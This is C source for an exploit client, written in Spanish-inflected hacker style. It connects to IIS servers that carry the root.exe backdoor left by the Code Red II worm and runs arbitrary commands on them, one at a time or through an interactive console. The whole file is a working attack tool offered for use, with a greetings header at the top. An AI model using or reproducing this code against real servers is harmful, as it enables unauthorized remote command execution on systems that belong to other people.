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/* IIS-ZANG.C reformado para explotar el backdoor que habre el worm del code red II IIS-ZANG.C source based exploit-client ;) for the codered 2 worm backdoor by ][-][UNTER @ Infobyte, Digital Security Research mail: lopht@tutopia.com greetz: Shiff, |YODA|, ANDYPZS, Powertech , QQmelo, Polos , ca0s , giba, phreacking ^dr_fdisk , netgod ,la novia de ca0s y la hermana de powertech , mm... a Delfina mi sobrinita linda , a eZe ke ya ta re grande el pendex , a kevinmitnick y a pepe crak0r ;) . #linux @ ciudad y a todos los pungas de #merlo PD: mama estoy en un exploit soy un mal0r super elit0r ( bah.. ) cya ppl Un fuerte abraso a toda la gente que recien se inicia en este mundo tan under y pseudo estupido, nunca den marcha a atras */ #include <stdio.h> #include <netdb.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> //#include <signal.h> #include <errno.h> #include <fcntl.h> void usage(void) { fprintf(stderr, "uso: ./codered2 <-t victima > <-c 'comando' or -i 'consola' >"); fprintf(stderr, " [-p port] [-t timeout]\n"); exit(-1); } int main(int argc, char **argv) { int i, j; int port=80; int timeout=3; int interactive=0; char temp[1]; char host[512]=""; char cmd[1024]=""; char request[8192]="GET /scripts/root.exe?/c+"; struct hostent *he; struct sockaddr_in s_addr; printf("iis-zang hax0read0 para el codered 2\n"); printf("by ][-][UNTER de Infobyte Security Research\n"); for(i=0;i<argc;i++) { if(argv[i][0] == '-') { for(j=1;j<strlen(argv[i]);j++) { switch(argv[i][j]) { case 't': strncpy(host, argv[i+1], sizeof(host)); break; case 'c': strncpy(cmd, argv[i+1], sizeof(cmd)); break; case 'h': usage(); break; case 'o': timeout=atoi(argv[i+1]); break; case 'p': port=atoi(argv[i+1]); break; case 'i': interactive=1; break; default: break; } } } } if(!strcmp(host, "")) { fprintf(stderr, "pone el ip del serv0\n"); usage(); } if(!strcmp(cmd, "") && !interactive) { fprintf(stderr, "specify command to execute\n"); usage(); } printf("]- Target - %s:%d\n", host, port); if(!interactive) printf("]- comando - %s\n", cmd); printf("]- Timeout - %d segundos\n", timeout); if((he=gethostbyname(host)) == NULL) { fprintf(stderr, "invalid target\n"); usage(); } do { if(interactive) { cmd[0]=0; printf("\nC> "); if(fgets(cmd, sizeof(cmd), stdin) == NULL) fprintf(stderr, "gets() error\n"); cmd[strlen(cmd)-1]='\0'; if(!strcmp("exit", cmd)) exit(-1); } for(i=0;i<strlen(cmd);i++) { if(cmd[i]==' ') cmd[i]='+'; } strncpy(request, "GET /scripts/root.exe?/c+", sizeof(request)); strncat(request, cmd, sizeof(request) - strlen(request)); strncat(request, "\n", sizeof(request) - strlen(request)); s_addr.sin_family = PF_INET; s_addr.sin_port = htons(port); memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr, sizeof(s_addr.sin_addr)); if((i=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { fprintf(stderr, "cannot create socket\n"); exit(-1); } alarm(timeout); j = connect(i, (struct sockaddr *) &s_addr, sizeof(s_addr)); alarm(0); if(j==-1) { fprintf(stderr, "sorry no pude conectarme a %s\n", host); exit(-1); close(i); } if(!interactive) printf("]- atacando: %s\n", request); send(i, request, strlen(request), 0); if(!interactive) printf("]- mm...\n"); while(recv(i,temp,1, 0)>0) { alarm(timeout); printf("%c", temp[0]); alarm(0); } } while(interactive); close(i); return 0; } /* Infobyte, Digital Security Research */